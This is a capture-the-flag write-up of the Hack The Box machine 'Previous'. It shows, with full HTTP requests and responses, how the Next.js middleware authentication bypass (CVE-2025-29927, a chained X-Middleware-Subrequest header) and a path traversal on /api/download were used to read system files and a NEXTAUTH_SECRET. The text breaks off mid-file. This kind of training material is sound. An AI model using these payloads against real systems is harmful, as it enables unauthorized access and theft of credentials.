- Published on
Hack-The-Box - Medium - Linux - Previous
- AUTHORS

- NAME
- Yasir Mehmood

The initial phase of this machine revolved around exploiting CVE-2025-29927, an authentication bypass vulnerability in Next.js. By supplying a crafted HTTP header (X-Middleware-Subrequest: middleware), it was possible to circumvent authentication controls.
Once access was gained, the application become vulnerable to a Local File Inclusion (LFI) flaw. This could be leveraged to explore the containerized environment and extract sensitive credentials—specifically a username and password—from the [...nextauth].js file, provided an initial foothold on the system.
After retrieving the user.txt flag, privilege escalation to root was achieved by exploiting a misconfiguration in assigned capabilities involving sudo and Terraform. By using malicious example files alongside a modified configuration, arbitrary commands could be executed with root privileges, ultimately granting access to the root.txt flag.
| Machine Name | Platform | IP-Address | Difficulty | Machine Domain |
|---|---|---|---|---|
| Previous | Linux | 10.10.11.83 | Medium | previous.htb |
Enumeration
- I started out by performing an initial Nmap scan and got the following results:
┌--(kali@kali)-[~/HTB/Previous]
└-$ sudo nmap -p- 10.10.11.83 --min-rate 10000
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 21:02 CEST
Nmap scan report for 10.10.11.83
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open SSH
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
- On port
80/TCP, I figured out aredirecttoprevious.htband added it to the/etc/hostsfile.
┌--(kali@kali)-[~/HTB/Previous]
└-$ sudo nmap -sC -sV -p 22,80 10.10.11.83
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 21:02 CEST
Nmap scan report for 10.10.11.83
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
22/tcp open SSH OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| SSH-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.32 seconds
┌--(kali@kali)-[~/HTB/Previous]
└-$ tail -n 1 /etc/hosts
10.10.11.83 previous.htb
- While investigating the website, I took a look at the
tech stackand spottedNext.jsin theheaders.
┌--(kali@kali)-[~/HTB/Previous]
└-$ whatweb http://previous.htb/
http://previous.htb/ [200 OK] Country[RESERVED][ZZ], Email[jeremy@previous.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.83], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]
- The page offered very few options for me to do anything on it.

Directory Busting
- I performed
directory bustingresulting in a lot ofredirectsfor the/apiendpoint.
┌--(kali@kali)-[~/HTB/Previous]
└-$ dirsearch -u http://previous.htb/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_previous.htb/__25-08-23_21-05-50.txt
Target: http://previous.htb/
[21:05:50] Starting:
[21:06:08] 307 - 39B - /api-doc -> /api/auth/signin?callbackUrl=%2Fapi-doc
[21:06:08] 307 - 35B - /api -> /api/auth/signin?callbackUrl=%2Fapi
[21:06:08] 307 - 40B - /api-docs -> /api/auth/signin?callbackUrl=%2Fapi-docs
[21:06:08] 307 - 60B - /api/2/issue/createmeta -> /api/auth/signin?callbackUrl=%2Fapi%2F2%2Fissue%2Fcreatemeta
[21:06:08] 307 - 41B - /api/api -> /api/auth/signin?callbackUrl=%2Fapi%2Fapi
[21:06:08] 307 - 39B - /api.log -> /api/auth/signin?callbackUrl=%2Fapi.log
[21:06:08] 307 - 38B - /api.py -> /api/auth/signin?callbackUrl=%2Fapi.py
[21:06:08] 307 - 45B - /api/apidocs -> /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs
[21:06:08] 307 - 39B - /api.php -> /api/auth/signin?callbackUrl=%2Fapi.php
[21:06:08] 307 - 52B - /api/cask/graphql -> /api/auth/signin?callbackUrl=%2Fapi%2Fcask%2Fgraphql
[21:06:08] 307 - 46B - /api/api-docs -> /api/auth/signin?callbackUrl=%2Fapi%2Fapi-docs
[21:06:08] 307 - 54B - /api/application.wadl -> /api/auth/signin?callbackUrl=%2Fapi%2Fapplication.wadl
[21:06:08] 307 - 60B - /api/apidocs/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs%2Fswagger.json
[21:06:08] 307 - 47B - /api/error_log -> /api/auth/signin?callbackUrl=%2Fapi%2Ferror_log
[21:06:08] 307 - 48B - /api/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Findex.html
[21:06:08] 307 - 44B - /api/jsonws -> /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws
[21:06:08] 307 - 42B - /api/docs -> /api/auth/signin?callbackUrl=%2Fapi%2Fdocs
[21:06:08] 307 - 43B - /api/batch -> /api/auth/signin?callbackUrl=%2Fapi%2Fbatch
[21:06:08] 307 - 44B - /api/config -> /api/auth/signin?callbackUrl=%2Fapi%2Fconfig
[21:06:08] 307 - 48B - /api/login.json -> /api/auth/signin?callbackUrl=%2Fapi%2Flogin.json
[21:06:08] 307 - 53B - /api/jsonws/invoke -> /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws%2Finvoke
[21:06:08] 307 - 73B - /api/package_search/v4/documentation -> /api/auth/signin?callbackUrl=%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation
[21:06:08] 307 - 53B - /api/swagger-ui.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger-ui.html
[21:06:08] 307 - 58B - /api/swagger/ui/index -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fui%2Findex
[21:06:08] 307 - 50B - /api/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yaml
[21:06:08] 307 - 67B - /api/swagger/static/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fstatic%2Findex.html
[21:06:08] 307 - 49B - /api/swagger.yml -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yml
[21:06:08] 307 - 43B - /api/proxy -> /api/auth/signin?callbackUrl=%2Fapi%2Fproxy
[21:06:08] 307 - 50B - /api/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.json
[21:06:08] 307 - 57B - /api/spec/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fspec%2Fswagger.json
[21:06:08] 307 - 55B - /api/swagger/swagger -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fswagger
[21:06:08] 307 - 58B - /api/swagger/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Findex.html
[21:06:08] 307 - 45B - /api/profile -> /api/auth/signin?callbackUrl=%2Fapi%2Fprofile
[21:06:08] 307 - 45B - /api/swagger -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger
[21:06:08] 307 - 47B - /api/snapshots -> /api/auth/signin?callbackUrl=%2Fapi%2Fsnapshots
[21:06:08] 307 - 40B - /api/v1 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1
[21:06:08] 307 - 55B - /api/v1/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.json
[21:06:08] 307 - 52B - /api/timelion/run -> /api/auth/signin?callbackUrl=%2Fapi%2Ftimelion%2Frun
[21:06:08] 307 - 55B - /api/v2/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.yaml
[21:06:08] 307 - 55B - /api/v2/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.json
[21:06:08] 307 - 62B - /api/v2/helpdesk/discover -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover
[21:06:08] 307 - 55B - /api/v1/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.yaml
[21:06:08] 307 - 40B - /api/v2 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2
[21:06:08] 307 - 57B - /apiserver-aggregator.cert -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.cert
[21:06:08] 307 - 52B - /apiserver-client.crt -> /api/auth/signin?callbackUrl=%2Fapiserver-client.crt
[21:06:08] 307 - 45B - /api/version -> /api/auth/signin?callbackUrl=%2Fapi%2Fversion
[21:06:08] 307 - 39B - /apidocs -> /api/auth/signin?callbackUrl=%2Fapidocs
[21:06:08] 307 - 40B - /api/v3 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv3
[21:06:08] 307 - 56B - /apiserver-aggregator.key -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.key
[21:06:08] 307 - 60B - /apiserver-aggregator-ca.cert -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator-ca.cert
[21:06:08] 307 - 38B - /apidoc -> /api/auth/signin?callbackUrl=%2Fapidoc
[21:06:08] 307 - 44B - /api/whoami -> /api/auth/signin?callbackUrl=%2Fapi%2Fwhoami
[21:06:08] 307 - 74B - /api/vendor/phpunit/phpunit/phpunit -> /api/auth/signin?callbackUrl=%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit
[21:06:08] 307 - 36B - /apis -> /api/auth/signin?callbackUrl=%2Fapis
[21:06:08] 307 - 40B - /api/v4 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv4
[21:06:08] 307 - 49B - /apiserver-key.pem -> /api/auth/signin?callbackUrl=%2Fapiserver-key.pem
[21:06:08] 307 - 44B - /apibuild.pyc -> /api/auth/signin?callbackUrl=%2Fapibuild.pyc
[21:06:10] 308 - 19B - /axis//happyaxis.jsp -> /axis/happyaxis.jsp
[21:06:10] 308 - 24B - /axis2-web//HappyAxis.jsp -> /axis2-web/HappyAxis.jsp
[21:06:10] 308 - 30B - /axis2//axis2-web/HappyAxis.jsp -> /axis2/axis2-web/HappyAxis.jsp
[21:06:13] 308 - 52B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[21:06:17] 307 - 36B - /docs -> /api/auth/signin?callbackUrl=%2Fdocs
[21:06:17] 307 - 41B - /docs.json -> /api/auth/signin?callbackUrl=%2Fdocs.json
[21:06:17] 307 - 52B - /docs/changelog.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fchangelog.txt
[21:06:17] 307 - 53B - /docs/CHANGELOG.html -> /api/auth/signin?callbackUrl=%2Fdocs%2FCHANGELOG.html
[21:06:17] 307 - 54B - /docs/export-demo.xml -> /api/auth/signin?callbackUrl=%2Fdocs%2Fexport-demo.xml
[21:06:17] 307 - 63B - /docs/html/admin/ch01.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01.html
[21:06:17] 307 - 64B - /docs/html/admin/index.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Findex.html
[21:06:17] 307 - 66B - /docs/html/admin/ch01s04.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
[21:06:17] 307 - 70B - /docs/html/developer/ch03s15.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
[21:06:17] 307 - 66B - /docs/html/admin/ch03s07.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
[21:06:17] 307 - 67B - /docs/html/developer/ch02.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
[21:06:17] 307 - 51B - /docs/swagger.json -> /api/auth/signin?callbackUrl=%2Fdocs%2Fswagger.json
[21:06:17] 307 - 51B - /docs/updating.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fupdating.txt
[21:06:17] 307 - 38B - /docs51 -> /api/auth/signin?callbackUrl=%2Fdocs51
[21:06:17] 307 - 56B - /docs/html/index.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Findex.html
[21:06:17] 307 - 54B - /docs/maintenance.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fmaintenance.txt
[21:06:18] 308 - 39B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf
[21:06:18] 308 - 42B - /engine/classes/swfupload//swfupload_f9.swf -> /engine/classes/swfupload/swfupload_f9.swf
[21:06:19] 308 - 27B - /extjs/resources//charts.swf -> /extjs/resources/charts.swf
[21:06:21] 308 - 37B - /html/js/misc/swfupload//swfupload.swf -> /html/js/misc/swfupload/swfupload.swf
[21:06:36] 200 - 3KB - /signin
Task Completed
- On
/signinendpoint, got greeted by alogin pageto aclosed betaprogram.

- I
intercepteda randomlogin attemptusingBurp Suiteto take a closer look at the actualHTTP request. - The
callbackUrlparameter was trying to access/docson port3000/TCPlocally.
GET /api/auth/providers HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- Here is the response received back on the request.
HTTP/1.1 304 Not Modified
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:10:39 GMT
Content-Type: application/json
Connection: keep-alive
ETag: "qsia4r7in25u"
Vary: Accept-Encoding
- I also spotted a
usernameon theContactbutton of the main page.
<a href="[mailto:jeremy@previous.htb](mailto:jeremy@previous.htb)" class="text-gray-500 hover:text-gray-900">Contact</a>
Initial Access
- I then headed back to the
Next.jspart of the tech stack, knowing about a recently discoveredAuthentication Bypass. - The bypass, aka
CVE-2025-29927, is done by adding theX-Middleware-Subrequestheader. - First I tried to bypass authentication by intercepting,
modifying, and forwarding thelogin request.
- Here is the payload:
X-Middleware-Subrequest: middleware
- Here is the Request:
GET /api/auth/signin HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- Here is the Response:
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:16:10 GMT
Connection: keep-alive
Location: /signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fdocs
Content-Length: 0
- Here is the second Request
GET /api/auth/session HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- Here is the Response:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:17:26 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 2
Connection: keep-alive
ETag: "bwc9mymkdm2"
Vary: Accept-Encoding
{}
- Unfortunately that didn't lead anywhere. I did a bit more research and found the following article.
- This article described
chainingthe payloadback to backseparated by:.
- Here is the Payload:
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
- And this time it actually worked on
/docsgranting access todashboardeven though there was basically no info. - I now had a working payload as shown below codeblock:
GET /docs HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive

Local File Inclusion (LFI)
- With access to WEB Application, I tried different
endpointslike/api/download. - I tried to render the
responsewithinBurp Suite.
GET /api/download HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- The
/api/downloadendpoint responded with a very usefulerror messagesaying that it expected a validfilename.
HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:35:08 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 28
Connection: keep-alive
ETag: "vpkl9mnjvgs"
Vary: Accept-Encoding
{"error":"Invalid filename"}
- I then tried to directly access
/etc/passwdwhich did not work. - Then I slowly moved up the directories by adding
../to theGET requestuntil I got a hit.
GET /api/download?example=../../../../../etc/passwd HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- Here is a Response that confirmed the presence of an LFI vulnerability.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:26:44 GMT
Content-Type: application/zip
Content-Length: 787
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../etc/passwd
ETag: "41amqg1v4m26j"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
- The content of
/etc/passwddisclosed anotherusername(node) which led me to assume that the application wascontainerized. - I then slowly progressed through each of the low-hanging fruits like
/proc/self/environto understand the application.
GET /api/download?example=../../../../../proc/self/environ HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- The actual
responseshowed theworking directorywhich was/appand theenvironmentofproduction.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:40:52 GMT
Content-Type: application/zip
Content-Length: 216
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../proc/self/environ
ETag: "151dqoq1n56jy"
NODE_VERSION=18.20.8 HOSTNAME=0.0.0.0 YARN_VERSION=1.22.22 SHLVL=1 PORT=3000 HOME=/home/nextjs PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NEXT_TELEMETRY_DISABLED=1 PWD=/app NODE_ENV=production
- Then I went for the
/proc/self/cmdlineto see if I could get a bit more out of it but that was not the case.
GET /api/download?example=../../../../../proc/self/cmdline HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- Here is the blocked Response
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:42:04 GMT
Content-Type: application/zip
Content-Length: 15
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../proc/self/cmdline
ETag: "kbthnbes5729"
next-server (v
- With the information for the
environmentvalues, I targeted.envinside/app. - To do so, I slowly moved up again by adding
../until hitting/appand the.envfile.
GET /api/download?example=../../../app/.env HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- Unfortunately it only contained the
NEXTAUTH_SECRETwhich I assumed based on the authentication bypass. - This led me to an empty page once more. However, I figured out that I might be able to forge a cookie out of it.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:43:43 GMT
Content-Type: application/zip
Content-Length: 49
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.env
ETag: "14ro7p5qyfd4v"
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a
- Now I knew the path for the
/appdirectory and tried defaultNext.jsfiles likeserver.js.
GET /api/download?example=../../../app/server.js HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzU1OTc4Mzk3LCJleHAiOjE3NTU5ODE5OTd9.clE3kgymdfxvgie2n1uSKCctcG281oHwMbQReY9Nc1I; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- And that resulted in a lot of useful information about the instance itself.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 20:18:51 GMT
Content-Type: application/zip
Content-Length: 6009
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/server.js
ETag: "48xgv9zfn0go1"
const path = require('path')
const dir = path.join(__dirname)
process.env.NODE_ENV = 'production'
process.chdir(__dirname)
const currentPort = parseInt(process.env.PORT, 10) || 3000
const hostname = process.env.HOSTNAME || '0.0.0.0'
let keepAliveTimeout = parseInt(process.env.KEEP_ALIVE_TIMEOUT, 10)
const nextConfig = {"env":{},"eslint":{"ignoreDuringBuilds":false},"typescript":{"ignoreBuildErrors":false,"tsconfigPath":"tsconfig.json"},"distDir":"./.next","cleanDistDir":true,"assetPrefix":"","cacheMaxMemorySize":52428800,"configOrigin":"next.config.mjs","useFileSystemPublicRoutes":true,"generateEtags":true,"pageExtensions":["js","jsx","md","mdx","ts","tsx"],"poweredByHeader":true,"compress":true,"images":{"deviceSizes":[640,750,828,1080,1200,1920,2048,3840],"imageSizes":[16,32,48,64,96,128,256,384],"path":"/_next/image","loader":"default","loaderFile":"","domains":[],"disableStaticImages":false,"minimumCacheTTL":60,"formats":["image/webp"],"dangerouslyAllowSVG":false,"contentSecurityPolicy":"script-src 'none'; frame-src 'none'; sandbox;","contentDispositionType":"attachment","remotePatterns":[],"unoptimized":false},"devIndicators":{"position":"bottom-left"},"onDemandEntries":{"maxInactiveAge":60000,"pagesBufferLength":5},"amp":{"canonicalBase":""},"basePath":"","sassOptions":{},"trailingSlash":false,"i18n":null,"productionBrowserSourceMaps":false,"excludeDefaultMomentLocales":true,"serverRuntimeConfig":{},"publicRuntimeConfig":{},"reactProductionProfiling":false,"reactStrictMode":null,"reactMaxHeadersLength":6000,"httpAgentOptions":{"keepAlive":true},"logging":{},"expireTime":31536000,"staticPageGenerationTimeout":60,"output":"standalone","modularizeImports":{"@mui/icons-material":{"transform":"@mui/icons-material/{{member}}"},"lodash":{"transform":"lodash/{{member}}"}},"outputFileTracingRoot":"/app","experimental":{"allowedDevOrigins":[],"nodeMiddleware":false,"cacheLife":{"default":{"stale":300,"revalidate":900,"expire":4294967294},"seconds":{"stale":0,"revalidate":1,"expire":60},"minutes":{"stale":300,"revalidate":60,"expire":3600},"hours":{"stale":300,"revalidate":3600,"expire":86400},"days":{"stale":300,"revalidate":86400,"expire":604800},"weeks":{"stale":300,"revalidate":604800,"expire":2592000},"max":{"stale":300,"revalidate":2592000,"expire":4294967294}},"cacheHandlers":{},"